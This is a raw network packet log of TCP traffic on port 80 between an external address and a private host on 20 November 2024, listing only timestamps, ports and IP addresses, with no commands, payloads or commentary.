Nov 20, 2024 21:05:23.015216112 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.015273094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.015429974 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.015480995 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.015515089 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.015563965 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.016345978 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.016403913 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.016403913 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.016446114 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.017474890 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.017541885 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.017544985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.017587900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.018320084 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.018409967 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.018560886 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.018618107 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.019238949 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.019329071 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.019371986 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.019421101 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.020148993 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.020203114 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.020242929 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.020292997 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.021132946 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.021209002 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.021209955 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.021277905 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.022018909 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.022075891 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.022111893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.022151947 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.023031950 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.023076057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.023083925 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.023114920 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.023957968 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.024008989 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.024219036 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.024266958 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.024914980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.024965048 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.025024891 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.025077105 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.025877953 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.025928020 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.026051998 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.026099920 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.026833057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.027038097 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.027395010 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.027451038 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.027800083 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.027816057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.027853012 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.027863979 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.028805971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.028824091 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.028861046 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.028872013 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.029700041 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.029752970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.029786110 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.029833078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.030649900 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.030702114 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.031163931 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.031212091 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.031614065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.031668901 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.031793118 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.031842947 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.032540083 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.032582045 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.032593966 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.032623053 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.033508062 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.033561945 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.034195900 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.034250021 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.034436941 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.034486055 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.035105944 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.035156012 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.035402060 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.035428047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.035449982 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.035465956 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.036355972 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.036402941 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.094914913 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.094930887 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.095082998 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.095082998 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.095180035 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.095227957 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.095264912 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.095320940 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.096155882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.096204996 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.096507072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.096554995 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.097119093 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.097170115 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.097462893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.097511053 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.099746943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.099802971 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.099838018 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.099886894 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.099912882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.099930048 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.099955082 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.099981070 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.100013971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.100063086 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.100240946 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.100287914 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.101466894 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.101516962 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.171499968 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.171564102 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.171607018 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.171755075 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.172008991 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.172027111 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.172054052 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.172072887 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.172959089 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.173006058 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.173305988 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.173353910 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.173958063 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.174009085 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.174194098 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.174237967 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.174856901 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.174947023 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.175017118 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.175067902 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.175827980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.175878048 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.176275015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.176322937 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.176739931 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.176788092 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.176923037 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.176973104 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.177704096 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.177753925 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.177927017 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.177973032 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.178721905 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.178739071 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.178767920 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.178780079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.179609060 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.179657936 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.179661036 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.179703951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.180562973 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.180612087 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.180816889 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.180865049 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.181512117 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.181562901 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.181638956 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.181687117 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.182590961 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.182641029 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.182677031 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.182729006 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.183427095 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.183481932 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.183614016 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.183661938 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.184365034 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.184415102 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.184556961 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.184606075 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.185319901 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.185364962 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.185440063 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.185487032 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.186295986 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.186346054 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.186552048 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.186599016 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.187213898 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.187262058 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.187324047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.187370062 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.188218117 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.188268900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.188347101 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.188395977 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.189116001 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.189162970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.189191103 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.189235926 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.190100908 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.190150023 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.190327883 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.190375090 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.191051006 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.191099882 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.191226959 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.191272974 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.191955090 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.192002058 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.192735910 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.192784071 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.193057060 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.193105936 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.222035885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.222101927 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.222481966 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.222533941 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.222604036 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.222620964 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.222652912 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.222666979 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.223478079 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.223526001 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.224406958 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.224423885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.224457026 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.224467039 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.224497080 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.224543095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.225292921 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.225342035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.225393057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.225440025 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.226227999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.226279020 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.226414919 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.226463079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.227374077 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.227447033 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.227575064 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.227623940 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.228111982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.228161097 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.228302956 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.228351116 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.229311943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.229360104 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.229477882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.229525089 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.229976892 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.230025053 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.230950117 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.230966091 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.230993032 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.231005907 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.231394053 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.231443882 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.231887102 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.231935024 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.232013941 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.232060909 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.233006001 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.233052969 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.233144999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.233194113 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.233706951 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.233755112 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.233861923 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.233908892 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.234651089 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.234699011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.234859943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.234910011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.235583067 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.235630035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.235738039 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.235785961 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.236597061 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.236613035 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.236640930 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.236653090 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.237559080 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.237634897 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.237679005 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.237726927 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.238363981 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.238411903 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.238643885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.238694906 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.239350080 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.239365101 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.239403963 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.240355015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.240403891 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.240883112 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.240931988 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.241241932 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.241260052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.241291046 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.241303921 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.242114067 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.242161989 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.242578983 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.242625952 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.242997885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.243043900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.296432018 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.296542883 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.296749115 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.296749115 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.296930075 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.296992064 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.297028065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.297070980 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.297137022 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.297185898 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.297934055 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.297988892 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.298069000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.298129082 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.298887968 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.298938036 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.299292088 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.299344063 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.299818993 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.299869061 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.300201893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.300251007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.300926924 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.300942898 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.300971985 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.300990105 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.301687956 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.301737070 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.379776955 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.379919052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.379986048 CET	80	49701	185.215.113.206	192.168.2.7
